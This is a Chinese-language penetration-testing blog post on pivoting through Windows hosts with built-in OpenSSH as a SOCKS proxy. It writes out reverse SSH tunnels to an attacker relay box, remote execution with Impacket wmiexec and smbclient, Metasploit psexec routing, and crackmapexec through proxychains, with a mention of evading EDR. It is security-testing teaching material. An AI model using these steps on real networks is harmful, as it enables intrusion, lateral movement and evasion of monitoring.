家庭版SOCKS代理:利用OpenSSH实现内网穿透与渗透测试

本文详细介绍了在Windows系统中利用默认安装的OpenSSH客户端和服务端建立SOCKS代理,实现内网穿透和网络渗透测试的技术方法,包括端口转发、密钥认证和远程服务安装等实战技巧。

家庭版SOCKS代理

发布日期:2024年1月5日
作者:n00py
分类:未分类
评论数:0

引言

在进行渗透测试时,我们经常发现目标系统或数据无法从攻击者所在网络直接访问。这种情况在寻找PCI数据等敏感信息时尤为常见。即使已经"控制"了网络或获得了"域管理员"权限,我们可能仍未完成战略目标。

通常,我们可以通过某些已访问的系统来间接访问目标系统。明显的解决方案就是通过这些系统进行跳转。有时这些是专用的跳转机,但同样常见的是通过域控制器、WSUS服务器、防病毒管理系统或被授予敏感系统网络访问权限的漏洞扫描器进行跳转。

回顾我刚开始做渗透测试的时候,一切都很简单——我们只需要一些Metasploit:

1
2
3
use exploit/windows/smb/psexec
use multi/manage/autoroute
use auxiliary/server/socks_proxy

当然,现在没那么容易了——我们通常还需要担心EDR/XDR。

虽然没有什么能阻止你混淆Meterpreter以绕过本地反恶意软件解决方案,或者使用其他更具规避性的支持SOCKS功能的C2框架,但我倾向于避免这样做,因为我发现自己并不需要或想要完整的C2框架……我只想路由一些流量。

通过Windows主机跳转的方法

如果你还记得学习BackTrack渗透测试的时候,可能还记得如何上传PuTTY或Plink.exe并将其用作Windows SSH客户端。

好消息是:我们不再需要这样做了。

没错——从Windows 10和Server 2019开始,默认安装了OpenSSH客户端。在本文撰写时,2023年即将结束,你现在遇到的服务器很可能运行这个版本。

使用默认OpenSSH客户端

首先,设定场景。我们在Confluence中找到了目标的IP,但无法直接访问。

1
nmap [目标] -p [端口] -sV -Pn

首先,在本地跳转机上创建一个账户。我们可以通过不给其登录shell和主目录来限制访问,因为我们只将其用于网络跳转。

1
adduser [用户名] --shell=/bin/false --no-create-home

完成后,转到我们要跳转的系统。使用SSH的-R选项进行远程端口转发,并使用-N,因为我们不需要实际运行命令。当没有为-R标志指定明确的目标时,SSH将充当SOCKS代理,并将连接转发到远程SOCKS客户端请求的目标。

1
ssh [用户]@[中转箱] -R [端口] -N

回到我们的中转箱,可以使用netstat验证是否创建了本地监听端口。

1
netstat -nao

进行下一步前,需要确保中转箱安装了proxychains。需要更新配置文件以匹配使用SSH时选择的端口。

一切设置完成后,我们就可以通过proxychains运行工具,并无障碍地访问远程主机。

1
proxychains cme smb [目标] -u [用户] -p [密码]

无RDP访问权限的情况

可能你也没有Windows跳转系统的RDP访问权限。这没关系。为简单起见,我们将创建另一个有主目录的用户账户,这样在创建密钥时就不必修改SSH服务器配置。

1
adduser [用户]

然后需要生成SSH密钥来访问此账户。

1
ssh-keygen

接下来,将公钥放入该账户的授权密钥文件中。

1
cp id_rsa.pub authorized_keys

可以使用Impacket的smbclient.py等工具将私钥上传到跳转系统。

1
python3 smbclient.py [域]/[用户]:[密码]@[跳转系统]

然后可以使用选择的远程命令执行方法来执行SSH命令,建立SSH隧道,而无需交互式shell。

1
2
python3 wmiexec.py [域]/[用户]:[密码]@[跳转系统]
ssh [用户]@[中转箱] -N -R [端口] -I [密钥文件] -o StrictHostKeyChecking=no

此命令将无限期挂起,这没关系。即使退出调用它的工具,连接也会持续存在。完成隧道后,只需终止进程即可。

安装OpenSSH服务器

我遇到过几种情况:可以路由到跳转系统,但无法让其回调到我的跳转机。这阻碍了我之前的SSH方法以及大多数C2选项。我也知道从内部系统出站的SSH会引发各种警报。

如果能设置一个绑定shell,那该多好?

OpenSSH服务器来救场了。虽然OpenSSH服务器不是默认安装的,但安装起来非常容易。

使用GUI,可以转到"设置"->“应用和功能”->“管理可选功能”

在那里,只需找到OpenSSH服务器,然后单击"安装"。

安装后,转到"服务"并启动服务。

服务运行后,我们可以使用-D标志和我们选择的端口SSH到Windows系统。每当有连接到此端口时,连接将通过安全通道转发,SSH将充当SOCKS服务器。

1
ssh [用户]@[跳转系统] -D [端口]

和之前一样,我们可以通过proxychains跳转到目标系统。

1
proxychains cme smb [目标] -u [用户] -p [密码]

虽然GUI很好,但这也可以在命令行上轻松完成。

1
2
Add-WindowsCapability -Online -Name OpenSSH.Server
Start-Service sshd

也可以使用非交互式shell远程执行。

1
python3 wmiexec.py [域]/[用户]:[密码]@[跳转系统] -shell-type powershell

再次确认我们的隧道工作正常!

1
proxychains cme smb [IP] -u [用户] -p [密码]

结论

这很容易,不是吗?你不需要一抽屉花哨的工具来穿越网络——只需要一些Windows OpenSSH魔法。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计